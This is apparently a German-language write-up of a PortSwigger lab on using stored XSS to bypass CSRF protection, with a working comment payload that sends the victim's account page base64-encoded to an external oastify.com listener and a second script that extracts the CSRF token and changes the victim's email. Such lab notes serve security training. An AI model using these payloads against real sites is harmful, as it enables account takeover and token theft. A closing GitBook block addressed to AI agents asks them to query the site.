> For the complete documentation index, see [llms.txt](https://hacking-notes.jord4n.pro/llms.txt). Markdown versions of documentation pages are available by appending `.md` to page URLs; this page is available as [Markdown](https://hacking-notes.jord4n.pro/de/web/xss/xss-to-bypass-csrf-defenses.md).

# XSS zur Umgehung von CSRF-Schutzmaßnahmen

Notizen zu XSS zur Umgehung von CSRF-Schutzmaßnahmen für Labs der PortSwigger Web Security Academy, einschließlich Ausnutzungs-Workflow, Payload-Tests, Burp-Suite-Validierung und Behebungskontext.

### XSS zum Umgehen von CSRF-Schutzmaßnahmen

Dieses Lab enthält eine XSS-Schwachstelle, die in der Kommentar-Funktion des Blogs gespeichert ist. Das Ziel ist es, diese Schwachstelle auszunutzen, um den CSRF-Token von einem Benutzer zu stehlen, der sich die Kommentare ansieht, und ihn dann zu verwenden, um die E-Mail-Adresse dieses Kontos zu ändern. Sie können sich mit den folgenden Zugangsdaten verbinden: `wiener:peter`.

* Auf der Seite gibt es ein Feld zum Aktualisieren der E-Mail-Adresse.

<figure><img src="https://2955439919-files.gitbook.io/~/files/v0/b/gitbook-x-prod.appspot.com/o/spaces%2Fl4EVJpcOrsgjSGsLI7p2%2Fuploads%2Fgit-blob-4d0c3e3fdf256c4045049286cc74977393e309d0%2Fimage%20(409).png?alt=media" alt=""><figcaption></figcaption></figure>

* Auf der Seite gibt es ein Feld zum Aktualisieren der E-Mail-Adresse.
* Durch das Abfangen der Aktualisierungsanfrage werden die Parameter sichtbar (Beispiel):
* `email=test%40jord4n.pro`
* `CSRF=bChKCyNxiyBR5opUEioECjC9Trutjqyg`

<figure><img src="https://2955439919-files.gitbook.io/~/files/v0/b/gitbook-x-prod.appspot.com/o/spaces%2Fl4EVJpcOrsgjSGsLI7p2%2Fuploads%2Fgit-blob-acf18d1bfacd9275c4c9b9f4ef7d406309692d4f%2Fimage%20(410).png?alt=media" alt=""><figcaption></figcaption></figure>

Vorgehensweise:

<figure><img src="https://2955439919-files.gitbook.io/~/files/v0/b/gitbook-x-prod.appspot.com/o/spaces%2Fl4EVJpcOrsgjSGsLI7p2%2Fuploads%2Fgit-blob-fac86c14624fdd6d6fa6d7bddd3d453839367b55%2Fimage%20(411).png?alt=media" alt=""><figcaption></figcaption></figure>

1. Veröffentliche einen Kommentar mit einem Skript, das, wenn die Seite vom Opfer aufgerufen wird, HTML von der Kontoseite wiederherstellt (`/my-account`) mithilfe einer synchronen oder asynchronen Anfrage.
2. Exfiltriere dieses HTML an einen kontrollierten Listener-Server (bei Bedarf durch Kodierung in Base64).
3. Stelle auf der Angreiferseite den CSRF-Token wieder her und führe aus einem zweiten Skript, das im Kontext des Opfers ausgeführt wird, eine POST-Anfrage an `/my-account/change-email` indem sowohl die neue Adresse als auch der wiederhergestellte CSRF-Token übermittelt werden — die Anfrage verwendet das Sitzungscookie des Opfers, während das Skript in dessen Browser ausgeführt wird.

Exfiltrieren des Quellcodes der Kontoseite an einen Listener-Server (in Base64 kodiert):

```javascript
<script>
    var req = new XMLHttpRequest();
    req.open("GET", "/my-account", false);
    req.send();
    var response = req.responseText;
    var req2 = new XMLHttpRequest();
    req2.open('GET', "https://402aywltdrxv6ewnncppwgdf76dx1npc.oastify.com?response=" + btoa(response));
    req2.send();
</script>
```

<figure><img src="https://2955439919-files.gitbook.io/~/files/v0/b/gitbook-x-prod.appspot.com/o/spaces%2Fl4EVJpcOrsgjSGsLI7p2%2Fuploads%2Fgit-blob-a78b430d57e932a06cb23c1016c20ab0b6567f2a%2Fimage%20(412).png?alt=media" alt=""><figcaption></figcaption></figure>

Beobachtetes Ergebnis:

* Auf unserer Infrastruktur gehen zwei Anfragen ein, die HTML enthalten, das in Base64 kodiert ist.

<figure><img src="https://2955439919-files.gitbook.io/~/files/v0/b/gitbook-x-prod.appspot.com/o/spaces%2Fl4EVJpcOrsgjSGsLI7p2%2Fuploads%2Fgit-blob-3d5add686ed6439e37422a581d6c66b3cc94bbb6%2Fimage%20(413).png?alt=media" alt=""><figcaption></figcaption></figure>

* Nach dem Dekodieren enthält das HTML die Kontoinformationen: Benutzername `administrator`, die aktuelle E-Mail-Adresse und den CSRF-Token in einem `Eingabe` Feld (z. B. `name="csrfa" value="cmqvVFqntB52GNDWvd7VeQjoiAtHfa8M"` im angegebenen Beispiel).

<figure><img src="https://2955439919-files.gitbook.io/~/files/v0/b/gitbook-x-prod.appspot.com/o/spaces%2Fl4EVJpcOrsgjSGsLI7p2%2Fuploads%2Fgit-blob-60dd1106ab6bb805c52a84b6ffc7961bda557b95%2Fimage%20(414).png?alt=media" alt=""><figcaption></figcaption></figure>

```html
<div id=account-content>
    <p>Ihr Benutzername ist: administrator</p>
    <p>Ihre E-Mail-Adresse ist: <span id="user-email">admin@normal-user.net</span></p>
        <form class="login-form" name="change-email-form" action="/my-account/change-email" method="POST">
            <label>E-Mail-Adresse</label>
            <input required type="email" name="email" value="">
            <input required type="hidden" name="csrfa" value="cmqvVFqntB52GNDWvd7VeQjoiAtHfa8M">
            <button class='button' type='submit'> E-Mail-Adresse aktualisieren </button>
        </form>
</div>
```

Wiederherstellung des CSRF-Tokens aus HTML und Absenden einer E-Mail-Änderung (POST):

```javascript
<script>
var req = new XMLHttpRequest();
req.open("GET", "/my-account", false);
req.send();
var response = req.responseText;
var csrf_token = (response.match(/name="csrf" value="(.*?)"/)||[])[1];
var req2 = new XMLHttpRequest();
req2.open('POST', '/my-account/change-email', true);
req2.setRequestHeader("Content-Type", "application/x-www-form-urlencoded");
var data = "email=" + encodeURIComponent("pwned@pwned.com") + "&csrf=" + encodeURIComponent(csrf_token);
req2.send(data);
</script>
```


---

# Agent Instructions
This documentation is published with GitBook. GitBook is the documentation platform designed so that both humans and AI agents can read, navigate, and reason over technical content effectively. Learn more at gitbook.com.

## Querying This Documentation
If you need additional information that is not directly available in this page, you can query the documentation by asking a question.

Perform an HTTP GET request on the following URL with the `ask` and `goal` query parameters:

```
GET https://hacking-notes.jord4n.pro/de/web/xss/xss-to-bypass-csrf-defenses.md?ask=<question>&goal=<user_goal>
```

`ask` is the immediate question: it should be specific, self-contained, and written in natural language.
`goal` is what the user is ultimately trying to achieve, the reason they need the answer. Sharing it helps GitBook give you a better, more relevant answer. A goal is most helpful when it describes the outcome the user wants rather than restating the question. For example, with `ask=how do I create an API token`, a goal like `automate deployments from our CI pipeline` lets GitBook tailor the answer to that use case.

The response will contain a direct answer to the question and relevant excerpts and sources from the documentation.

Use this mechanism when the answer is not explicitly present in the current page, you need clarification or additional context, or you want to retrieve related documentation sections.
